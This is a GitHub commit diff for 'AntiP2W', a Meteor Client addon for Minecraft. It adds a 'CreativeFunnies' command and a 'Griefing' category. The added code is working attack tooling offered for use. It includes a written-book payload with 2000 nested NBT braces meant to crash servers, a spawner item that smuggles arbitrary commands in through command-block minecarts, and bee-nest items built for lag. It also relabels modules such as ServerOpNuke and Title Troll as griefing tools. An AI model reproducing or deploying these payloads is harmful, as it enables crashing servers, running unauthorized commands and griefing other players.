Skip to content

Commit

Permalink
WIP CreativeFunnies + small changes
Browse files Browse the repository at this point in the history
  • Loading branch information
0x000006 committed Mar 10, 2024
1 parent bbe0098 commit 43f7cb1
Show file tree
Hide file tree
Showing 12 changed files with 191 additions and 14 deletions.
4 changes: 3 additions & 1 deletion src/main/java/addon/antip2w/AntiP2W.java
Original file line number Diff line number Diff line change
@@ -1,6 +1,7 @@
package addon.antip2w;

import addon.antip2w.commands.*;
import addon.antip2w.commands.CreativeFunnies.CreativeFunnies;
import addon.antip2w.hud.BrandHud;
import addon.antip2w.modules.*;
import addon.antip2w.modules.crash.AntiCrash;
Expand Down Expand Up @@ -94,8 +95,8 @@ private static void registerWIPModules() {
}

private static void registerCommands() {
Commands.add(new ChestCommand());
Commands.add(new CommandCompleteCrash());
Commands.add(new CreativeFunnies());
Commands.add(new DisconnectCommand());
Commands.add(new FunnyCrash());
Commands.add(new HologramCommand());
Expand All @@ -115,6 +116,7 @@ private static void registerHUDs() {
public void onRegisterCategories() {
Modules.registerCategory(Categories.DEFAULT);
Modules.registerCategory(Categories.FUNNY);
Modules.registerCategory(Categories.GRIEF);
Modules.registerCategory(Categories.WIP);
}

Expand Down
Original file line number Diff line number Diff line change
@@ -0,0 +1,135 @@
package addon.antip2w.commands.CreativeFunnies;

import addon.antip2w.utils.CreativeUtils;
import com.mojang.brigadier.arguments.BoolArgumentType;
import com.mojang.brigadier.arguments.IntegerArgumentType;
import com.mojang.brigadier.arguments.StringArgumentType;
import com.mojang.brigadier.builder.LiteralArgumentBuilder;
import com.mojang.brigadier.exceptions.CommandSyntaxException;
import meteordevelopment.meteorclient.commands.Command;
import meteordevelopment.meteorclient.events.game.GameLeftEvent;
import meteordevelopment.meteorclient.events.packets.PacketEvent;
import meteordevelopment.meteorclient.utils.player.ChatUtils;
import meteordevelopment.orbit.EventHandler;
import net.minecraft.client.MinecraftClient;
import net.minecraft.command.CommandSource;
import net.minecraft.item.ItemStack;
import net.minecraft.item.Items;
import net.minecraft.nbt.NbtCompound;
import net.minecraft.nbt.StringNbtReader;
import net.minecraft.network.packet.s2c.play.OpenWrittenBookS2CPacket;
import net.minecraft.text.Text;
import net.minecraft.util.Hand;

import static com.mojang.brigadier.Command.SINGLE_SUCCESS;

public class CreativeFunnies extends Command {
private static final MinecraftClient mc = MinecraftClient.getInstance();
private boolean cancelNextBookPacket = false;

public CreativeFunnies() {
super("creative-funnies", "Do funny things in creative mode", "cf");
}

@Override
public void build(LiteralArgumentBuilder<CommandSource> builder) {
builder.then(
literal("action")
.then(
literal("crash")
.executes(
ctx -> crash(1)
)
.then(
argument("strength", IntegerArgumentType.integer(1))
.executes(
ctx -> crash(IntegerArgumentType.getInteger(ctx, "strength"))
)
)
)
).then(
literal("item")
.then(
literal("bees")
.executes(
ctx -> getBees(1000, true)
)
.then(
argument("amount", IntegerArgumentType.integer(1))
.executes(
ctx -> getBees(IntegerArgumentType.getInteger(ctx, "amount"), true)
)
.then(
argument("stronger", BoolArgumentType.bool())
.executes(
ctx -> getBees(IntegerArgumentType.getInteger(ctx, "amount"), BoolArgumentType.getBool(ctx, "stronger"))
)
)
)
).then(
literal("cmdspawner")
.then(
argument("commands", StringArgumentType.greedyString())
.executes(
ctx -> getCommandSpawner(StringArgumentType.getString(ctx, "commands"))
)
)
)
);
}

private int getCommandSpawner(String commandstogether) {
ItemStack spawner = new ItemStack(Items.SPAWNER);
String[] commands = commandstogether.split("\\|");
StringBuilder minecarts = new StringBuilder();
for (String command : commands) minecarts.append("{id: 'minecraft:command_block_minecart', Command: '%s'},".formatted(command));
String nbt = "{BlockEntityTag:{SpawnCount:1,SpawnRange:0,Delay:0,SpawnData:{entity:{id:'minecraft:falling_block',BlockState:{Name:'minecraft:redstone_block'},Time:1,Passengers:[{id:'minecraft:falling_block',BlockState:{Name:'minecraft:activator_rail'},Time:1,Motion:[0.0,0.35,0.0],Passengers:[" + minecarts + "]}]}}}}";
CreativeUtils.giveItemWithNbtToEmptySlot(mc, Items.SPAWNER, nbt, Text.of("Place me!"));
return SINGLE_SUCCESS;
}

private int getBees(int amount, boolean stronger) {
NbtCompound nbt = null;
NbtCompound bee = null;
try {
nbt = StringNbtReader.parse("{BlockEntityTag:{Bees:[]}}");
if(stronger) bee = StringNbtReader.parse("{EntityData:{Attributes:[{Base:1000000.0d,Name:'minecraft:generic.movement_speed'}], id:'minecraft:bee'}, TicksInHive:2400}");
else bee = StringNbtReader.parse("{EntityData:{id:'minecraft:bee'}, TicksInHive:2400}");
} catch (CommandSyntaxException e) {
throw new RuntimeException(e);
}

for (int i = 0; i < amount; i++) {
nbt.getCompound("BlockEntityTag").getList("Bees", 10).addElement(i, bee);
}

CreativeUtils.giveItemWithNbtToEmptySlot(mc, Items.BEE_NEST, nbt.asString(), Text.of("Bees.zip (%d)".formatted(amount)));
return SINGLE_SUCCESS;
}

@EventHandler
private void onPacket(PacketEvent.Receive event) {
if (cancelNextBookPacket && event.packet instanceof OpenWrittenBookS2CPacket) {
event.cancel();
cancelNextBookPacket = false;
}
}

@EventHandler
private void onDisconnect(GameLeftEvent event) {
cancelNextBookPacket = false;
}

private int crash(int strength) {
if(!mc.player.isCreative()) {
ChatUtils.warning("Not in creative");
return SINGLE_SUCCESS;
}
String nbt = "{pages:[\"{\\\"nbt\\\":\\\"" + "a:{".repeat(2000) + "}".repeat(2000) + "\\\",\\\"entity\\\":\\\"" + mc.player.getUuid() + "\\\"}\"],title:\"0\",author:\"" + mc.player.getGameProfile().getName() + "\"}";
for (int i = 0; i < strength; i++) {
CreativeUtils.giveItemWithNbtToSelectedSlot(mc, Items.WRITTEN_BOOK, nbt, Text.of("bye"));
mc.interactionManager.interactItem(mc.player, Hand.MAIN_HAND);
}
return SINGLE_SUCCESS;
}
}
1 change: 1 addition & 0 deletions src/main/java/addon/antip2w/commands/HologramCommand.java
Original file line number Diff line number Diff line change
Expand Up @@ -111,6 +111,7 @@ private int execute(boolean last) {
mc.interactionManager.interactBlock(mc.player, Hand.MAIN_HAND, bhr);
}
mc.interactionManager.clickCreativeStack(lastStack, 36 + mc.player.getInventory().selectedSlot);
ChatUtils.info("Loaded Image", image.getWidth(), image.getHeight());

} catch (Exception e) {
ChatUtils.info("exception: %s", e);
Expand Down
1 change: 1 addition & 0 deletions src/main/java/addon/antip2w/modules/Categories.java
Original file line number Diff line number Diff line change
Expand Up @@ -6,5 +6,6 @@
public final class Categories {
public static final Category DEFAULT = new Category("AntiP2W Tools", Items.BARRIER.getDefaultStack());
public static final Category FUNNY = new Category("AntiP2W Funny", Items.DIRT.getDefaultStack());
public static final Category GRIEF = new Category("AntiP2W Griefing", Items.TNT.getDefaultStack());
public static final Category WIP = new Category("AntiP2W WIP", Items.LIGHT.getDefaultStack());
}
9 changes: 3 additions & 6 deletions src/main/java/addon/antip2w/modules/DubCounter.java
Original file line number Diff line number Diff line change
@@ -1,7 +1,6 @@
package addon.antip2w.modules;

import java.util.ArrayList;
import java.util.List;
import addon.antip2w.utils.TimerUtils;
import meteordevelopment.meteorclient.events.render.RenderBlockEntityEvent;
import meteordevelopment.meteorclient.events.world.TickEvent;
import meteordevelopment.meteorclient.settings.IntSetting;
Expand All @@ -10,13 +9,11 @@
import meteordevelopment.meteorclient.systems.modules.Module;
import meteordevelopment.orbit.EventHandler;
import meteordevelopment.orbit.EventPriority;
import net.minecraft.util.Formatting;
import net.minecraft.util.math.BlockPos;
import net.minecraft.util.math.BlockPos.Mutable;
import net.minecraft.block.entity.BlockEntity;
import net.minecraft.block.entity.ChestBlockEntity;
import net.minecraft.block.entity.ShulkerBoxBlockEntity;
import addon.antip2w.utils.TimerUtils;
import net.minecraft.util.Formatting;
import net.minecraft.util.math.BlockPos;

import java.util.HashSet;

Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -191,7 +191,7 @@ public class AirstrikePlus extends Module {


public AirstrikePlus() {
super(Categories.FUNNY, "Airstrike+", "Catch this fucker!");
super(Categories.GRIEF, "Airstrike+", "Catch this fucker!");
}

final Random r = new Random();
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -58,7 +58,7 @@ public class AutoScoreboard extends Module {
);

public AutoScoreboard() {
super(Categories.FUNNY, "Auto Scoreboard", "Prints funny stuff to the users screen");
super(Categories.GRIEF, "Auto Scoreboard", "Prints funny stuff to the users screen");
}

@Override
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -207,7 +207,7 @@ public class AutoTitles extends Module {
.build()
);
public AutoTitles() {
super(Categories.FUNNY, "Title Troll", "Puts massive text to players screen");
super(Categories.GRIEF, "Title Troll", "Puts massive text to players screen");
}

private CopyOnWriteArrayList<PlayerListEntry> players;
Expand Down
2 changes: 1 addition & 1 deletion src/main/java/addon/antip2w/modules/griefing/BoomPlus.java
Original file line number Diff line number Diff line change
Expand Up @@ -168,7 +168,7 @@ public class BoomPlus extends Module {
);

public BoomPlus() {
super(Categories.FUNNY, "ANTI P2W cannon", "Shoots shit");
super(Categories.GRIEF, "ANTI P2W cannon", "Shoots shit");
}
private int aticks=0;

Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -363,7 +363,7 @@ public class HandOfGod extends Module {
.build()
);
public HandOfGod() {
super(Categories.FUNNY, "Hand of God", "Does funny shit with the players");
super(Categories.GRIEF, "Hand of God", "Does funny shit with the players");
}
private CopyOnWriteArrayList<PlayerListEntry> players;
private int ticks=0;
Expand Down
Original file line number Diff line number Diff line change
@@ -1,5 +1,6 @@
package addon.antip2w.modules;
package addon.antip2w.modules.griefing;

import addon.antip2w.modules.Categories;
import meteordevelopment.meteorclient.events.game.GameLeftEvent;
import meteordevelopment.meteorclient.settings.BoolSetting;
import meteordevelopment.meteorclient.settings.Setting;
Expand Down Expand Up @@ -28,7 +29,7 @@ public class ServerOpNuke extends Module {
private final Setting<String> altNameToOp;

public ServerOpNuke() {
super(Categories.DEFAULT, "ServerOpNuke","Server Operator Nuker goes brrrrrrrrrrrrrrrrrrrrrrrr");
super(Categories.GRIEF, "ServerOpNuke","Server Operator Nuker goes brrrrrrrrrrrrrrrrrrrrrrrr");
SettingGroup sgGeneral = settings.getDefaultGroup();
autoDisable = sgGeneral.add(new BoolSetting.Builder()
.name("Auto disable")
Expand Down
40 changes: 40 additions & 0 deletions src/main/java/addon/antip2w/utils/CreativeUtils.java
Original file line number Diff line number Diff line change
@@ -0,0 +1,40 @@
package addon.antip2w.utils;

import com.mojang.brigadier.exceptions.CommandSyntaxException;
import net.minecraft.client.MinecraftClient;
import net.minecraft.client.network.ClientPlayerInteractionManager;
import net.minecraft.item.Item;
import net.minecraft.item.ItemStack;
import net.minecraft.nbt.StringNbtReader;
import net.minecraft.text.Text;

public class CreativeUtils {
public static void giveItemWithNbtToEmptySlot(MinecraftClient mc, Item item, String nbt, Text customName) {
ItemStack stack = item.getDefaultStack();
try {
stack.setNbt(StringNbtReader.parse(nbt));
} catch (CommandSyntaxException e) {
throw new RuntimeException(e);
}
stack.setCustomName(customName);
if (mc.player.getMainHandStack().isEmpty())
mc.interactionManager.clickCreativeStack(stack, 36 + mc.player.getInventory().selectedSlot);
else {
int nextEmptySlot = mc.player.getInventory().getEmptySlot();
if (nextEmptySlot < 9) mc.interactionManager.clickCreativeStack(stack, 36 + nextEmptySlot);
else
mc.interactionManager.clickCreativeStack(stack, 36 + mc.player.getInventory().selectedSlot);
}
}

public static void giveItemWithNbtToSelectedSlot(MinecraftClient mc, Item item, String nbt, Text customName) {
ItemStack stack = item.getDefaultStack();
try {
stack.setNbt(StringNbtReader.parse(nbt));
} catch (CommandSyntaxException e) {
throw new RuntimeException(e);
}
stack.setCustomName(customName);
mc.interactionManager.clickCreativeStack(stack, 36 + mc.player.getInventory().selectedSlot);
}
}

0 comments on commit 43f7cb1

Please sign in to comment.